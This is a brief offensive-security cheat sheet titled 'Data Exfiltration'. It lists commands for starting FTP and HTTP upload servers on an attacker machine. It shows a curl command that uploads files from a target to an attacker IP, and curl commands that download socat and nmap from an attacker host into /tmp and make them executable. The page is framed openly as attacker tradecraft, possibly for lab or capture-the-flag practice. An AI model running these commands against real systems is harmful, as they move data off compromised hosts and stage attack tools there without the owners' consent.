Skip to content

Data Exfiltration

pyftpdlib

Python FTP server library provides a high-level portable interface to easily write very efficient, scalable and asynchronous FTP servers with Python.

python -m pyftpdlib -p 21 -w 

uploadserver

In some cases, using the uploadserver library could be more effective especially the target has curl.

pip install uploadserver

Attacker:

python3 -m uploadserver

To upload:

curl -X POST http://10.18.34.150:8000/upload -F 'files=@file.txt'  -F 'files=@file2.txt'  

http.server

To download file from the attack machine, native py3 library can be used. Attacker:

python3 -m http.server

To download:

curl ATTACKING_IP/socat -o /tmp/socat-USERNAME && chmod +x /tmp/socat-USERNAME
curl 10.50.76.117:8000/nmap-sarp -o /tmp/nmap-sarp && chmod +x /tmp/nmap-sarp